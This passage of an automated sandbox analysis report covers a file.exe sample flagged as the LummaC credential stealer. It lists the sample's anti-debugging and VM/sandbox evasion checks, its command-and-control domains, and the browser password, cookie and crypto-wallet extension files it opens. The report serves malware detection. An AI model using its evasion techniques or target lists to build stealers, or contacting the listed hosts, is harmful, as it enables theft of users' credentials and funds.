Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 528069B second address: 528069F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 528069F second address: 52806AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52806AE second address: 52806B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52806B2 second address: 52806B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52806B6 second address: 52806BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52806BC second address: 5280708 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, CF7Eh 0x00000007 mov ch, bh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e jmp 00007F5930C603FEh 0x00000013 xchg eax, esi 0x00000014 jmp 00007F5930C60400h 0x00000019 push eax 0x0000001a pushad 0x0000001b jmp 00007F5930C60401h 0x00000020 mov si, 53A7h 0x00000024 popad 0x00000025 xchg eax, esi 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5280708 second address: 528070C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 528070C second address: 5280712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5280712 second address: 5280745 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F5930BD337Ch 0x00000008 pop eax 0x00000009 mov eax, ebx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov esi, dword ptr [ebp+0Ch] 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007F5930BD3386h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5280745 second address: 528074A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 528074A second address: 5280778 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 mov eax, ebx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d jmp 00007F5930BD3385h 0x00000012 je 00007F59A13E0FC1h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5280778 second address: 528077C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 528077C second address: 5280780 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5280780 second address: 5280786 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5280786 second address: 52807DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 22E68637h 0x00000008 mov eax, 4B934ED3h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 cmp dword ptr [75AF459Ch], 05h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov ax, di 0x0000001d pushfd 0x0000001e jmp 00007F5930BD3387h 0x00000023 add cx, F46Eh 0x00000028 jmp 00007F5930BD3389h 0x0000002d popfd 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52807DB second address: 5280816 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930C60401h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F59A148609Dh 0x0000000f jmp 00007F5930C603FEh 0x00000014 xchg eax, esi 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jmp 00007F5930C603FDh 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5280816 second address: 528081C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 528081C second address: 5280820 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5280820 second address: 5280873 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a call 00007F5930BD337Bh 0x0000000f pushfd 0x00000010 jmp 00007F5930BD3388h 0x00000015 sbb ecx, 5EC4D7D8h 0x0000001b jmp 00007F5930BD337Bh 0x00000020 popfd 0x00000021 pop ecx 0x00000022 push edx 0x00000023 push eax 0x00000024 pop ebx 0x00000025 pop esi 0x00000026 popad 0x00000027 xchg eax, esi 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F5930BD337Ah 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5280873 second address: 5280879 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5280879 second address: 528087D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 528087D second address: 5280881 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B1EACA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CB8AF4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B1E9FF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CC1447 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D3DB96 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 1436	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5948	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, 00000000.00000002.2235065258.0000000000C97000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: file.exe, 00000000.00000003.2154974248.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2235855506.00000000012CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2235855506.000000000132D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2127178757.0000000001351000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2235855506.000000000134B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2154974248.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: file.exe	Binary or memory string: +qEmU
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2235065258.0000000000C97000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: file.exe, 00000000.00000003.2154974248.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000002.2234851381.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000002.2234851381.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000002.2234851381.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000002.2234851381.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000002.2234851381.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000002.2234851381.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000002.2234851381.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000002.2234851381.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: presticitpo.store

Source: file.exe, 00000000.00000002.2235274681.0000000000CDB000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: (Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000002.2235855506.000000000132D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2204489216.00000000013B1000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 3056, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.2141263444.00000000013AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCashT
Source: file.exe, 00000000.00000003.2167375200.00000000013AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Libertyv
Source: file.exe, 00000000.00000003.2141263444.00000000013AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet~
Source: file.exe, 00000000.00000003.2200059016.0000000001397000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: file.exe, 00000000.00000003.2186505484.0000000001396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.2200059016.0000000001397000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
